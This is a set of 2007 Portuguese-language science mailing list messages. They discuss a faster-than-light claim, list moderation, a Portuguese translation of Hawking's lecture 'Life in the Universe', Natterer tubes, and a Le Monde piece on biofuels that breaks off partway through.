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SUBJECT: RE: [ciencialist] Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>, <albmesq@uol.com.br>
DATE: 18/08/2007 19:17


Alberto,
bem?
Esta demora é muito normal... muitas vezes os moderadores estão muito sobrecarregados ou ausentes.
Mesmo assim, fique tranquilo, quando a moderação é definitiva, eles mandam uma msg de reprovação.
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: FW: [BBC] bioc
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>, "FreeEnergy-BR@yahoogrupos.com.br" <freeenergy-br@yahoogrupos.com.br>
DATE: 18/08/2007 19:27


( ok, mas floresta não dá tanto dinheiro concentrado a curto prazo...)
> To: avalanchedrive@hotmail.com> Subject: [BBC] bioc> > http://www.bbc.co.uk/portuguese/reporterbbc/story/2007/08/070818_uebiocombustiveis_is.shtml> > -- > ------------------------------------------------------------------------> Esta mensagem foi enviada para você por meio da opção "Envie por> e-mail" no site da BBC Brasil, www.bbcbrasil.com. Se você tiver alguma> reclamação, por favor encaminhe este e-mail para brasil@bbc.co.uk. A> BBC não é responsável pelo conteúdo do e-mail, e os comentários não> refletem necessariamente a opinião da BBC. > ------------------------------------------------------------------------

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SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/08/2007 23:12

--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
> Vocês já pensaram nas implicações filosófico-científicas associadas
> à idéia do "ficar parado num referencial absoluto" da ordem daquele

O próprio referencial está em repouso em relação a ele mm.

E há outras implicações facilmente verificáveis. Posto q há um
referencial absoluto, objetos q se movam em direções distintas terão
velocidades distintas em relação a esse referencial. Se a
proporcionalidade sugerida for verdadeira, encontraremos diferenças
nas medições de 'c'.

[]s,

Roberto Takata



SUBJECT: VIDA NO UNIVERSO
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>, Conversa_de_Botequim@yahoogrupos.com.br, gentecomgentedentro <gentecomgentedentro@googlegroups.com>
DATE: 18/08/2007 23:19

VIDA NO UNIVERSO

STEPHEN W. HAWKING

*Head of the General Relativity Group
Department of Applied Mathematics and Theoretical Physics*
*University of Cambridge*
*autor de "Uma Breve História do Tempo" (Ed. Rocco).* *Lucasian Professor
of Mathematics at Cambridge
Cargo ocupado por Isaac Newton e Paul A. M. Dirac*

<http://paginas.terra.com.br/educacao/labertolo/Cosmologia/Cosmology/Theory%20of%20Everythings.htm>
<http://paginas.terra.com.br/educacao/labertolo/Cosmologia/Cosmology/Textos_Modernos.htm>
<http://paginas.terra.com.br/educacao/labertolo/Cosmologia/Cosmology/bibang_Guth.htm>


Nesta conversa, eu gostaria de especular um pouco sobre o desenvolvimento da
vida no universo, e em particular, o desenvolvimento de vida inteligente. Eu
encaminharei de modo a incluir a raça humana, apesar de muito do seu
comportamento pela história afora, seja bem estúpido, e não tenha planejado
ajuda a sobrevivência das espécies. Duas perguntas que eu discutirei são:
"Qual a probabilidade de existir vida em outro lugar no universo?" e, "Como
a vida poderá se desenvolver no futuro?"


É uma questão de experiência comum, que as coisas fiquem mais desordenadas e
caóticas com tempo. Esta observação pode ser elevada ao estado de uma lei, a
denominada Segunda Lei da Termodinâmica. Esta diz que a quantidade de
desordem total, ou entropia, no universo, sempre aumenta com o tempo. Porém,
a Lei só se refere à quantidade total de desordem. A ordem em um corpo pode
aumentar, contanto que a quantidade de desordem em seus ambientes, aumente
por uma quantia maior. Isto é o que acontece em um ser vivo. Pode-se definir
Vida como sendo um sistema ordenado que pode se sustentar contra a tendência
à desordem, e pode se reproduzir. Quer dizer, pode fazer sistemas ordenados
semelhantes, mas independentes. Para fazer estas coisas, o sistema tem que
converter energia de alguma forma ordenada, como comida, luz solar, ou
energia elétrica, em energia desordenada, na forma de calor. Deste modo, o
sistema pode satisfazer a exigência de que a quantidade total de desordem
aumente, enquanto, ao mesmo tempo, aumenta a ordem nele mesmo, e na sua
descendência. Um ser vivo normalmente tem dois elementos: um jogo de
instruções que diz ao sistema como se sustentar, e se reproduzir, e um
mecanismo para levar a cabo essas instruções. Em biologia, estas duas partes
são chamadas, genes e metabolismo. Mas é válido enfatizar que não precisa
existir nada de biológico neles. Por exemplo, um vírus de computador é um
programa que fará cópias de si próprio na memória de um computador, e se
transferirá a outros computadores. Assim ele se ajusta à definição de um
sistema vivo que eu dei. Igualmente a um vírus biológico, é uma forma
bastante degenerada, porque contém apenas instruções ou genes, e não tem
nenhum metabolismo próprio. Ao invés, reprograma o metabolismo do computador
hospedeiro, ou célula. Algumas pessoas questionaram se os vírus deveriam ser
contados como vida, porque eles são parasitas, e não podem existir
independentemente dos seus hospedeiros. Entretanto, a maioria das formas de
vida, incluindo nós mesmos, é parasita, no que elas se alimentam e dependem,
para a sua sobrevivência, de outras formas de vida. Eu penso que o vírus de
computador devesse ser contado como vida. Talvez diga algo sobre natureza
humana, que a única forma de vida que nós temos criado por enquanto, é
puramente destrutiva. Falemos sobre criar vida à nossa própria imagem. Eu
voltarei mais tarde às formas eletrônicas de vida.

O que nós regularmente pensamos de como "vida" está baseado em cadeias de
átomos de carbono, com alguns outros átomos, como nitrogênio ou fósforo.
Pode-se especular que se poderia ter vida com alguma outra base química, tal
como o silício, mas o carbono parece o caso mais favorável, porque tem a
química mais rica. Que os átomos de carbono deveriam absolutamente existir,
com as propriedades que eles têm, requer um ajuste fino das constantes
físicas, como a escala QCD, a carga elétrica, e até mesmo a dimensão do
espaço-tempo.Se estas constantes tivessem valores significativamente
diferentes, ou o núcleo do átomo de carbono não seria estável, ou os
elétrons se desmoronariam para dentro do núcleo. À primeira vista, parece
notável que o universo seja assim bem afinado.Talvez esta é evidência que
ele foi projetado especialmente para produzir a raça humana. Porém, tem-se
que tomar cuidado sobre tais argumentos, por causa do que é conhecido como o
Princípio Antrópico. Isto está baseado na verdade patente que se o universo
não tivesse sido satisfatório para vida, nós não estaríamos perguntando por
que é ajustado assim finamente. Pode-se aplicar o Princípio de Antrópico,
nas suas versões ou a Forte, ou a Fraca. Para o Princípio Antrópico
Forte, supõe-se
que haja muitos universos diferentes, cada um com valores diferentes das
constantes físicas. Em um número pequeno deles, os valores permitiriam a
existência de objetos como átomos de carbono que podem agir como o blocos
construtores de sistemas vivos. Considerando que nós temos que viver em um
destes universos, nós não deveríamos nos surpreender que as constantes
físicas são afinadas com alta qualidade. Se elas não fossem, nós não
estaríamos aqui. A forma forte do Princípio de Antrópico não é muito
satisfatória .Que significado operacional pode-se dar à existência de todos
esses outros universos? E se eles estão separados de nosso próprio universo,
como pode, o que acontecer neles, afetar o nosso universo. Ao invés disso,
eu adotarei o que é conhecido como o Princípio Antrópico Fraco. Quer dizer,
eu tomarei os valores das constantes físicas, como dados. Mas eu verei que
conclusões podem ser desenhadas, do fato que existe vida neste planeta,
nesta fase na história do universo.

Não havia nenhum carbono, quando o universo começou no Big Bang,
aproximadamente há 15 bilhões anos atrás. Estava tão quente, que toda a
matéria estaria na forma de partículas, chamadas prótons e nêutrons.
Teria havido
números iguais de prótons e nêutrons inicialmente. Porém, como o universo se
expandiu, ele teria se esfriado. Cerca de um minuto depois do Big Bang, a
temperatura teria caído a aproximadamente um bilhão de graus,
aproximadamente cem vezes a temperatura do sol. Nesta temperatura, os
nêutrons começaram a decair em mais prótons. Se isto tivesse sido tudo
aquilo que aconteceu, toda a matéria do universo teria terminada como o
elemento mais simples, o hidrogênio, cujo núcleo consiste em um único
próton. Entretanto, alguns dos nêutrons colidiram com prótons, e se aderiram
para formar o próximo elemento mais simples, o hélio, cujo núcleo consiste
em dois prótons e dois nêutrons. Mas não teria sido formado nenhum outro
elemento mais pesado, como carbono ou oxigênio, no universo primitivo. É
difícil de imaginar que se pudesse construir um sistema vivo, feito só de
hidrogênio e hélio, e de qualquer maneira, o universo primitivo ainda estava
muito quente para os átomos se combinarem em moléculas.

O universo teria continuado a se expandir, e a se esfriar. Mas algumas
regiões teriam tido densidades ligeiramente mais altas do que outras. A
atração gravitacional da matéria extra nessas regiões, reduziria a
velocidade de sua expansão, e, eventualmente, a pararia. Ao invés disso,
eles se colapsaram para formarem galáxias e estrelas, a partir de
aproximadamente dois bilhões de anos depois do Big Bang. Algumas das
estrelas primitivas teriam sido mais volumosas que o nosso Sol. Elas teriam
estado mais quentes que o Sol, e teriam fundido o hidrogênio e o hélio
original, em elementos mais pesados, como carbono, oxigênio, e ferro. Isto
poderia ter levado só alguns cem milhões de anos. Depois disso, algumas das
estrelas teriam explodido como supernovas, e espalhado os elementos pesados
de volta para o espaço, para formar a matéria-prima para gerações
posteriores de estrelas.

Outras estrelas estão muito longe, para podermos vê-las diretamente, e
também,se elas têm planetas que giram à sua volta. Mas certas estrelas,
chamadas pulsares, emitem pulsos regulares de ondas de rádio. Nós observamos
uma ligeira variação na taxa de emissão de alguns pulsares, e isto é
interpretado como indicação de que eles estão sendo perturbados, tendo
planetas do tamanho da terra girando ao seu redor. Planetas que giram ao
redor de pulsares são improváveis de terem vida, porque qualquer ser vivo
teria sido morto, na explosão da supernova que conduziu à transformação da
estrela num pulsar. Mas, o fato que vários pulsares são observados como
tendo planetas sugere que uma fração razoável das centenas de bilhões de
estrelas em nossa galáxia possam também ter planetas. As condições
planetárias necessárias para que a nossa forma de vida pôde então ter
existido a partir de cerca de quatro bilhões anos depois do Big Bang.

Nosso sistema solar foi formado aproximadamente há quatro e meio bilhões
anos atrás, ou, aproximadamente, dez bilhões anos depois do Big Bang, do gás
contaminado com os restos de estrelas anteriores. A Terra foi formada em
grande parte a partir dos elementos mais pesados, inclusive carbono e
oxigênio. De alguma maneira, alguns destes átomos vieram ser rearranjados na
forma de moléculas de DNA. Esta tem a famosa forma de hélice dupla,
descoberta por Crick e Watson, em uma cabana do Novo Museu situado em
Cambridge. Unindo as duas cadeias na hélice, estão os pares de ácidos
nuclêico. Há quatro tipos de ácidos nuclêicos, a adenina, a citosina, a
guanina e a timina. Eu tenho medo do meu sintetizador de voz, pois não é
muito bom para pronunciar esses nomes. Obviamente, ele não foi projetado
para biólogos moleculares. Uma adenina em uma cadeia sempre é emparelhada
com um timina na outra cadeia, e uma guanina com uma citosina. Assim uma
seqüência de ácidos nuclêicos em uma cadeia define uma seqüência
complementar, na outra cadeia. As duas cadeias, então, podem se separar, e
cada uma delas atua como moldes para se construir cadeias adicionais. Assim
as moléculas de DNA podem reproduzir a informação genética, codificada nas
suas seqüências de ácidos nuclêicos. Também podem ser usadas seções da
seqüência para fabricar proteínas e outras substâncias químicas que podem
levar a cabo as instruções codificadas na seqüência, e montar a
matéria-prima para o DNA se reproduzir.

Nós não sabemos como as moléculas de DNA apareceram inicialmente. As chances
de uma molécula de DNA ter surgido através de flutuações randômicas são
muito pequenas. Algumas pessoas sugeriram então que a vida na Terra tivesse
vindo de algum outro lugar, e que há sementes de vida flutuando ao nosso
redor na galáxia. Porém, parece improvável que o DNA pudesse sobreviver por
muito tempo sob a radiação do espaço. E até mesmo se pudesse, realmente não
ajudaria explicar a origem da vida, porque o tempo disponível desde a
formação do carbono é somente apenas mais que o dobro da idade da Terra.

Uma possibilidade é que a formação de algo como DNA que poderia se
reproduzir é extremamente improvável. Porém, em um universo com um número
muito grande, ou infinito, de estrelas, espera-se que isto aconteça em
alguns sistemas estelares, mas eles estariam muito extensamente separados. O
fato da vida ocorrer por acaso na Terra não é, entretanto, surpreendente ou
improvável. É apenas uma aplicação do Princípio Antrópico Fraco: se vida
tivesse aparecido, ao contrário, em outro planeta, estaríamos perguntando
por que ela ocorreu lá.

Se o aparecimento de vida em um determinado planeta fosse muito improvável,
poderia se esperar que ela levasse muito tempo. Mais precisamente, poderia
se esperar que a vida aparecesse simplesmente no tempo para a subseqüente
evolução a seres inteligentes, como nós, e devesse acontecer antes da
extinção, fornecida pelo tempo de vida do Sol. Isto é, cerca de dez bilhões
anos, após o que o Sol se inchará e engolirá a Terra. Uma forma de vida
inteligente, poderia ter dominado as viagens espaciais, e ter sido capaz de
escapar para outra estrela. Mas, por outro lado, a vida na Terra estaria
sentenciada.

Há evidência fóssil que houve alguma forma de vida na Terra, aproximadamente
três e meio bilhões anos atrás. Isto pode ter sido apenas a 500 milhões de
anos a Terra ter ficado estável e esfriado o bastante, para vida se
desenvolver. Mas a vida poderia ter levado 7 bilhões anos para se
desenvolver, e ainda teria tido tempo para evoluir a seres como nós, que
pode perguntar pela origem de vida. Se a probabilidade de desenvolvimento de
vida em um determinado planeta, é muito pequena, por que aconteceu na Terra,
a cerca de 1/14 do tempo disponível.

O aparecimento primitivo da vida na Terra sugere que haja uma boa chance de
geração espontânea de vida, em condições satisfatórias. Talvez houvese
alguma forma mais simples de organização, a que construiu o DNA. Uma vez
surgido o DNA, ele teria tido tanto êxito, que poderia ter substituído
completamente as formas anteriores. Nós não sabemos o que estas formas
primitivas teriam sido. Uma possibilidade é o RNA. Este é semelhante ao DNA,
mas muito mais simples, e sem a estrutura de hélice dupla. Comprimentos
curtos de RNA poderiam se reproduzir como o DNA, e poderia eventualmente
construir o próprio DNA. Não se pode fazer ácidos nuclêicos no laboratório,
de material não-vivo, muito menos o RNA. Mas naqueles 500 milhões de anos,
com oceanos cobrindo a maioria da Terra, poderia haver uma probabilidade
razoável do RNA ser feito por casualidade.

Quando o DNA se reproduziu, teria havido então erros randômicos. Muitos
destes erros teriam sido prejudiciais, e ele teria desaparecido. Alguns
teriam ficado neutros. Isto é, eles não teriam afetado a função do gene.
Tais erros contribuiriam a um compulsão genética gradual que parece
acontecer em todas as populações. E alguns poucos erros teriam sido
favoráveis à sobrevivência das espécies. Estes teriam sido escolhidos pela
seleção natural Darwiniana.

O processo de evolução biológica era muito lento no princípio. Levou dois
bilhões anos e meio, para se evoluir das células mais primitivas aos animais
multicelulares, e outros bilhões anos para evoluir de peixes e répteis, para
mamíferos. Daí então a evolução parece ter sido acelerada. Levaram somente
cem milhões de anos, aproximadamente, para se desenvolver dos mamíferos
primitivos até nós. A razão disto é que os peixes possuem a maioria dos
órgãos humanos importantes, e os mamíferos essencialmente todos eles. Tudo
aquilo que era exigido para se evoluir dos mamíferos primitivos, como os
primatas, aos humanos, foi um pouco de boa-afinação.

Mas com a raça humana, a evolução alcançou uma fase crítica, comparável em
importância com o desenvolvimento de DNA. Esta fase foi durante o
desenvolvimento da linguagem, e particularmente, da linguagem escrita. Isto
significava que as informações puderam ser passadas, de geração para
geração, diferentes geneticamente em DNA. Não tem existido mudanças
detectáveis no DNA humano, provocado por evolução biológica, nos dez mil
anos de registros históricos. Mas a quantidade de conhecimento que passou de
geração para geração cresceu enormemente.. O DNA em seres humanos contém
aproximadamente três bilhões ácidos nuclêicos. Porém, muito da informação
codificada nesta seqüência, é redundante, ou é inativa. Assim a quantidade
total de informações úteis em nossos genes, é provavelmente algo como cem
milhões de bites. Um bit de informação é a resposta para uma pergunta de
sim/não. Por contraste, uma página de romance poderia conter dois milhões de
bits de informação. Assim um humano é equivalente a 50 romances Mills and
Boon. Uma biblioteca nacional principal pode conter aproximadamente cinco
milhões de livros, ou aproximadamente dez trilhões bits. Assim a quantidade
de informações passada em livros, é cem mil vezes daquela em DNA.

Mais importante mesmo é o fato que a informação em livros, pode ser mudada e
atualizada, muito mais rapidamente. Levaram vários milhões de anos para
evoluirmos dos macacos. Durante aquele tempo, a informação útil no nosso
DNA, provavelmente mudou por apenas alguns poucos milhões de pedaços. Assim
a taxa de evolução biológica em humanos, é cerca de um bit por ano. Por
contraste, há aproximadamente 50.000 livros novos publicados no idioma
inglês cada ano, contendo a ordem de cem bilhões de bits de informação.
Claro que, a grande maioria destas informações é lixo, e de nenhum uso para
qualquer forma de vida. Mas, mesmo assim, a taxa em que as informações úteis
pode ser adicionada é milhões, senão bilhões, mais alta do que com o DNA.

Isto significa que nós entramos em uma nova fase de evolução. No princípio,
evolução procedida por seleção natural, de mutações randômicas. Esta fase
Darwiniana, durou aproximadamente três bilhões e meio de anos, e
produziu-nos, seres que desenvolveram uma linguagem para trocar informações.
Mas nos últimos dez mil anos ou mais, nós estivemos no que poderia ser
chamado de uma fase de transmissão externa. Nesta o registro interno de
informação, passado a gerações sucessivas em DNA, não mudou
significativamente. Mas o registro externo, em livros, e outras formas de
armazenamento, cresceu enormemente. Algumas pessoas usariam o termo,
evolução, só para o material genético transmitido internamente, e
contestaria se isto fosse aplicado à informação passada externamente. Mas eu
penso que isso é uma visão muito estreita. Nós somos mais do simplesmente os
nossos genes. Nós podemos não ser o mais forte, ou inerentemente mais
inteligente que os nossos antepassados homens de caverna. Mas, o que nos
distingue deles é o conhecimento que acumulamos durante os últimos dez mil
anos, e particularmente, durante estes últimos trezentos anos. Eu penso que
é legítimo ter uma visão mais ampla, e incluir a informação externamente
transmitida, como também o DNA, na evolução da raça humana.

A escala de tempo para a evolução, no período de transmissão externa, é a
escala de tempo para a acumulação de informação. Esta costumava ser
centenas, ou até mesmo milhares, de anos. Mas agora esta escala de tempo
encolheu para aproximadamente 50 anos, ou menos. Por outro lado, os cérebros
com os quais nós processamos estas informações evoluíram somente na escala
de tempo Darwiniana, de centenas de milhares de anos. Isto está começando a
causar problemas. No século XVIII, era dito ser um homem, quem tinha lido
todos os livros escritos. Mas hoje em dia, se você lesse um livro por dia,
levariam aproximadamente 15.000 anos para se ler, do princípio ao fim, os
livros em uma biblioteca nacional. Neste tempo, muitos mais livros teriam
sido escritos.

Isto significa que ninguém pode ser o mestre em mais do que um pequena área
do conhecimento humano. Pessoas têm que se especializarem, em campos mais e
mais reduzidos. É provável que isto seja a principal limitação no futuro.
Nós certamente não podemos continuar, por muito tempo, com a taxa
exponencial de crescimento do conhecimento que tivemos nos últimos trezentos
anos. Uma maior limitação e até mesmo um perigo para gerações futuras, é que
nós ainda temos os instintos, e em particular, os impulsos agressivos que
tivemos nos dias de homens de cavernas. Agressão, na forma de dominar ou
matar outros homens, e levando as suas mulheres e comida, tem tido as
vantagens da sobrevivência definida, até o tempo presente. Mas agora ela
poderia destruir a raça humana inteira, e muito do resto de vida na Terra.
Uma guerra nuclear, ainda é o perigo mais imediato, mas há outros, como a
liberação de um vírus geneticamente fabricado. Ou o efeito estufa
tornando-se instável.

Não há tempo, esperando pela evolução Darwiniana, para fazer-nos mais
inteligentes e de melhor índole. Mas estamos entrando agora em uma fase
nova, do que poderia ser chamada, evolução auto-projetada, na qual nós
seremos capazes de mudar e melhorar o nosso DNA. Há um projeto em andamento,
para mapear a seqüência inteira do DNA humano. Valerá alguns bilhões
dólares, mas isso é alimento de galinha, para um projeto desta importância.
Uma vez tendo lido o livro de vida, nós começaremos a escrever as suas
correções. No princípio, estas mudanças serão limitadas ao conserto de
defeitos genéticos, como a fibrose cística e distrofia muscular. Estes são
controlados por genes únicos, e assim é bastante fácil identificar, e
corrigir. Outras qualidades, como a inteligência, são provavelmente
controladas por um grande número de genes. Será muito mais difícil achá-los,
e resolver as relações entre eles. Não obstante, eu estou seguro que durante
o próximo século, as pessoas descobrirão como modificar ambos a inteligência
e os instintos como agressão.

Serão aprovadas leis contra a engenharia genética com os humanos. Mas
algumas pessoas não poderão resistir à tentação, para melhorar
características humanas, como capacidade de memória, resistência a
infecções, e a duração da vida. Quando tais super humanos aparecerem, irá
existir um problema político maior com os humanos não-melhorados, que não
poderão, assim, competir. Presumivelmente, eles desaparecerão, ou
tornar-se-ão sem importância. Ao invé disso, haverá uma raça de seres
auto-projetados que estarão se melhorando a uma taxa sempre-crescente.

Se esta raça controlar o seu auto-remodelamento, reduzir ou eliminar o risco
de autodestruição, ela provavelmente se espalhará, e colonizará outros
planetas e estrelas. Porém, a viagem espacial de longa distância, será
difícil para formas de vida baseadas quimicamente, como DNA. O tempo de vida
natural para tais seres é curto, comparado ao tempo de viagem. De acordo com
a teoria da relatividade, nada pode viajar mais rápido que a luz. Assim a
viagem de ida-e-volta para a estrela mais próxima levariam 8 anos pelo
menos, e para o centro da galáxia, aproximadamente cem mil anos. Em ficção
científica, eles superam esta dificuldade, através do arqueamento do espaço,
ou viajam por dimensões extras. Mas eu não penso que isto sempre será
possível, não importa quão inteligente a vida se torne. Na teoria da
relatividade, se a pessoa puder viajar mais rapidamente que a luz, a pessoa
também poderá viajar para trás no tempo. Isto conduziria a problemas com
pessoas voltando e mudando o passado. Poder-se-ia também esperar ver um
grande número de turistas do futuro, curiosos para observar nossos modos
pitorescos e antiquados.

Poderia ser possível usar engenharia genética, para fazer com que a vida
baseada no DNA sobreviva indefinidamente, ou pelo menos durante cem mil
anos. Mas um modo mais fácil, que quase já está dentro de nossas
capacidades, seria enviar máquinas. Estas poderiam ser projetadas para durar
o suficiente para uma viagem interstelar. Quando elas chegarem a uma nova
estrela, elas poderiam pousar em um planeta adequado, e minar material para
produzir mais máquinas, as quais poderiam ser enviadas, contudo, a mais
estrelas. Estas máquinas seriam uma nova forma de vida, baseado em
componentes mecânicos e eletrônicos, em lugar de macromoleculas. Eles
poderiam eventualmente substituir a vida baseada no DNA, simplesmente como o
DNA deve ter substituído uma forma anterior de vida.

Esta vida mecânica também poderia ser auto-artificiosa. Assim parece que o
período de evolução da transmissão externa, terá sido simplesmente um
interlúdio muito curto, entre a fase Darwiniana, e uma fase biológica, ou
mecânica, auto-projetada. Isto é mostrado neste próximo diagrama que não
está em escala porque não há maneira alguma de se poder mostrar um período
de dez mil anos, na mesma escala de bilhões de anos. Quanto tempo a fase
auto-artificiosa durará é uma pergunta aberta. Pode ser instável, e vida
poderá se auto-destruir, ou entrar num beco sem saída. Caso contrário,
deveria ser capaz de sobreviver a morte do Sol, daqui aproximadamente 5
bilhões anos, mudando-se para planetas ao redor outras estrelas. A maioria
das estrelas terá se exaurido nos outros 15 bilhões anos ou mais, e o
universo estará chegando a um estado de completa desordem, de acordo com a
Segunda Lei da Termodinâmica. Mas Freeman Dyson mostrou que, apesar disto, a
vida poderia adaptar à provisão sempre-decrescente de energia ordenada, e
então poder, em princípio, continuar para sempre.

Quais são as chances que nós encontrarmos alguma forma de vida alienígena,
quando explorarmos a galáxia. Se o argumento sobre a escala de tempo para o
aparecimento de vida na Terra estiver correto, deveriam haver muitas outras
estrelas em cujos planetas haja neles vida. Alguns destes sistemas estelares
poderiam ter se formado há 5 bilhões anos antes da Terra. Então por que a
galáxia não fervilha de formas de vida auto-artificiosa mecânica ou
biológica? Por que não tem a Terra sido visitada, e até mesmo colonizada. Eu
desconsidero sugestões de OVNIs contendo seres do espaço exterior. Eu penso
que qualquer visita de alienígenas, seria muito mais óbvia, e provavelmente
também, muito mais desagradável.

Qual é a explicação do por que nós não fomos visitados? Uma possibilidade é
que o argumento, sobre o aparecimento de vida na Terra, está errado. Talvez
a probabilidade de vida que aparece espontaneamente é tão baixa, que a Terra
é o único planeta na galáxia, ou mesmo no universo observável, no qual ela
aconteceu. Outra possibilidade é que havia uma probabilidade razoável de
formar sistemas auto-reprodutores, como células, mas que a maioria destas
formas de vida não evoluiu a nenhuma inteligência. Nós somos levados a
pensar em vida inteligente, como uma conseqüência inevitável de evolução.
Mas o Princípio de Antrópico deveria nos advertir sermos cautelosos em tais
argumentos. É mais provável que a evolução seja um processo randômico, com a
inteligência como um único de um grande número de resultados possíveis. Não
está claro que inteligência tem algum valor de sobrevivência a longo prazo.
Bactérias, e outros organismos unicelulares, manter-se-ão vivos, se toda as
outras vidas na Terra forem extintas por nossas ações.Há apoio para a visão
que inteligência, era um desenvolvimento improvável para a vida na Terra, a
partir da cronologia de evolução. Levou-se um tempo muito longo, dois
bilhões e meio de anos, para se ir de células únicas até seres de
multicelulares, que são os necessários precursores da inteligência. Esta é
uma boa fração do tempo total disponível, antes do Sol explodir. Assim seria
consistente com a hipótese de que a probabilidade para vida desenvolver
inteligência, é baixa. Neste caso, nós poderíamos esperar achar muitas
outras formas de vida na galáxia, mas é improvável acharmos vida
inteligente. Outro modo no qual vida poderia desenvolver a uma fase
inteligente, seria se um asteróide ou cometa viesse a colidir com o planeta.
Nós observamos há pouco a colisão de um cometa, Schumacher-Levi, com
Júpiter. Ele produziu uma série de bolas de fogo enormes. É pensado que,
numa colisão de um corpo bastante menor com a Terra, há aproximadamente 70
milhões de anos atrás, foi responsável pela extinção dos dinossauros. Alguns
pequenos mamíferos primitivos sobreviveram, mas qualquer coisa tão grande
quanto um humano, teria quase que certamente sido extinta. É difícil dizer
com que freqüência tais colisões acontecem, mas uma suposição razoável
poderia ser a cada vinte milhões de anos, em média. Se esta figura estiver
correta, significaria que a vida inteligente na Terra só desenvolveu por
causa da chance afortunada que não houve nenhuma colisão principal nos
últimos 70 milhões de anos. Outros planetas na galáxia na qual vida
desenvolveu, pode não ter tido um período bastante longo livre de colisão
para evoluir a seres inteligentes.

Uma terceira possibilidade é que há uma probabilidade razoável para a vida
se formar, e evoluir a seres inteligentes, na fase de transmissão externa.
Mas naquele ponto, o sistema ficaria instável, e a vida inteligente se
autodestruiria. Esta seria uma conclusão muito pessimista. Eu espero muito
que isso não seja verdade.Eu prefiro uma quarta possibilidade: há outras
formas de vida inteligente lá fora, mas que nós temos sidos negligenciados.
Existe um projeto chamado SETI, procurador por inteligência extra-terrestre.
Está envolvido no escaneamento das freqüências de rádio, para ver se nós
pudemos apanhar sinais de civilizações estrangeiras. Eu pensei que este
projeto tivesse um suporte importante, entretanto, foi cancelado devido a
uma fal-ta de fundos. Mas nós deveríamos ter sido cautelo-sos no
questionamento anterior, até que tivés-semos de-senvolvido um pouco mais a
frente. Encontrar uma ci-vilização mais avançada, em nossa fase presente,
po-deriam ser um pouco parecido com os habitantes o-riginais da América que
encontraram Colombo. Eu não penso que eles estavam em situação melhor.

Isto é tudo o que eu tenho a dizer. Obrigado por escutar.


--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/08/2007 23:29

--- Em ciencialist@yahoogrupos.com.br, murilo filo <avalanchedrive@...>
> Alberto,
> bem?
> Esta demora é muito normal... muitas vezes os moderadores estão muito
> sobrecarregados ou ausentes.

O Mesquita *é* um dos moderadores:
http://br.groups.yahoo.com/group/ciencialist/members?group=mod

O dono da lista e os moderadores *não* têm suas mensagens moderadas,
são aprovadas automaticamente.

[]s,

Roberto Takata



SUBJECT: Re: Tubos de Natterer
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 00:46

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, August 18, 2007 9:56 AM
Subject: [ciencialist] Tubos de Natterer

> É que a besta aqui escreveu "Netterer" em lugar de "Natterer", por
> isso vc não reconheceu :-) No assunto 'Curvas de Andrews' onde se
> apresentam as zonas de diagramas de estados: gás, gás+líquido,
> líquido, o experimento com tubos de Natterer são o que há de melhor
> para se enxergar a transformação de gás para líquido e vice-versa (a
> substância usada é anidrido carbônico). Esse experimento é
> 'consagrado' na liquefação de gases.

Eu já havia lido sobre a experiência, mas não lembrava o nome do
tubo (Faz mais de 15 anos que não estudo esse assunto em
profundidade). Na internet você encontrará algo a respeito, em
espanhol, no livro "Lecciones de Física - Termología 1", que pode ser
acessado a partir de
www.uco.es/~fa1orgim/mogpp/archivos/monytex/LF@T1TX.PDF . O download é
um pouquinho demorado pois o arquivo tem 4,48 Mb. Na página 57 do
livro (capítulo 2, item 7) você encontrará: "Determinación de las
coordenadas criticas. Tubos de Natterer".

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: Tubos de Natterer
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 00:59

Olá Léo.

Na msg anterior:
http://br.groups.yahoo.com/group/ciencialist/message/64995

Substitua

www.uco.es/~fa1orgim/mogpp/archivos/monytex/LF@T1TX.PDF

por

http://www.uco.es/~fa1orgim/mogpp/archivos/monytex/LF@T1TX.PDF

pois do contrário o link não funcionará, em virtude do @ [o link será
interpretado como um email].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Biocombustíveis apresentam balanço ecológico medíocre
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Leonardo Soares Quirino da Silva" <leosqsilva@gmail.com>, "Cleber Castro" <geocederj@gmail.com>, ciencialist@yahoogrupos.com.br
DATE: 19/08/2007 11:06

18/08/2007
Biocombustíveis apresentam balanço ecológico medíocre
Hervé Kempf
Le Monde

A utilização dos biocombustíveis não permitirá sistematicamente limitar as
emissões de gases de efeito estufa, e seria mais eficiente conservar o meio
ambiente em bom estado: esta é a conclusão de um estudo que foi publicado na
revista "Science", na sexta-feira, 17 de agosto, e co-assinado por Renton
Righelato, da World Land Trust, uma organização que se dedica à conservação
